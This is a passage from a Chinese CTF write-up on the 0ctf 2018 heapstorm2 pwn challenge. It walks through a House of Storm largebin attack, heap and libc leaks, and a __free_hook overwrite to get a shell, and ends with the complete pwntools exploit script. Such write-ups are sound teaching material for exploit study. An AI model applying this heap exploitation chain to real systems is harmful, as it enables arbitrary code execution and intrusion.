payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
add(0x48)

现在我们已经可以控制0x13370800处的值了,我们把这些随机数都改为0,然后把chunk_0改为0x13370800,以此来实现控制

1
2
3
4
5
6
7
#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

dbg()

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

之后修改0x13370800处的第三个和第四个数分别为0和0x13377331,两者异或得到0x13377331,越过show函数的检查,此时已经可以使用show函数,因为我们要泄露的unsortedbin chunk的fd指针(指向main_arena+88),我们必须在chunk的全局数组中写入0x56104462a060来show,但是程序每次运行地址不同,由上图可知fake_chunk+3处存放的就是0x56104462a060,
所以我们需要利用fake_chunk+3(unsortedbin chunk的地址)来泄露libc,我们每次把chunk0的位置写为0x13370800,就可以实现每次通过chunk0来控制0x13370800

1
2
3
4
5
6
7
8
9
10
11
payload = p64(0)*3 +p64(0x13377331)  #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #满足show的条件

show(1) #我们刚刚house of storm 写的地址泄漏出来
ru("]: ")
heap = u64(r(6).ljust(8, '\x00'))
success("heap:"+hex(heap))

dbg()

在这里插入图片描述

在这里插入图片描述
此时我们成功泄露出unsortedbin chunk的地址,我们再修改全局数组为unsortedbin chunk的地址+0x10(main_arena+88),然后即可泄露处libc基地址

1
2
3
4
5
6
7
8
9
10
11
12
payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)
show(1) #泄漏libc地址
ru("]: ")
malloc_hook = u64(r(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
dbg()

在这里插入图片描述

之后我们要做到就是在全局数组里写入free hook地址和/bin/sh,将其改为system,获得shell,free_hook在chunk0处,/bin/sh\x00在chunk1处

1
2
3
4
5
6
7
8
#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)

dbg()

在这里插入图片描述
之后改free_hook为system,free(1),获得shell

1
2
3
4
edit(0, p64(system))
free(1)

itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#coding:utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./0ctf_2018_heapstorm2')
libc = ELF('./libc-2.23.so')
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim,data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim,data)
r = lambda num=4096 :sh.recv(num)
rl = lambda num=4096 :sh.recvline(num)
ru = lambda delims :sh.recvuntil(delims )
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg():
gdb.attach(sh)
pause()
def add(size):

sla('Command: ','1')
sla('Size: ',str(size)) # 12<size<0x1000


def edit(idx,content):
sla('Command: ','2')
sla('Index: ',str(idx))
sla('Size: ',str(len(content)))
sa('Content: ',content)



def free(idx):
sla('Command: ','3')
sla('Index: ',str(idx))


def show(idx):
sla('Command: ','4')
sla('Index: ',str(idx))

#---------------布置chunk-------------------------#
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6

#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500))
free(1)
edit(0,'\x00'*(0x18-12))
add(0x18) #1
add(0x4d8) #7

free(1)
free(2) #1-2 合并

add(0x38)#1
add(0x4e8)#2

#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))#伪造chunk
free(4)
edit(3,'\x00'*(0x18-12))
add(0x18) #4
add(0x4d8) #8

free(4)
free(5) #4-5

add(0x48)#4
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2)
add(0x4e8)
free(2)
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48) #2 -> 0x133707e0 成功将申请到了heaparray附近



#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

#dbg()

payload = p64(0)*3 +p64(0x13377331) #满足show的条件

payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #满足show的条件

#dbg()

show(1) #我们刚刚house of storm 写的地址泄漏出来
ru("]: ")
heap = u64(r(6).ljust(8, '\x00'))
success("heap:"+hex(heap))

#dbg()

payload = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)

#dbg()

show(1) #泄漏libc地址
ru("]: ")
malloc_hook = u64(r(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))

#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)
#dbg()
edit(0, p64(system))
free(1)

itr()

参考文章
House of storm 原理及利用
Largebin Attack
CTF-WIKI
Largebin attack总结

0%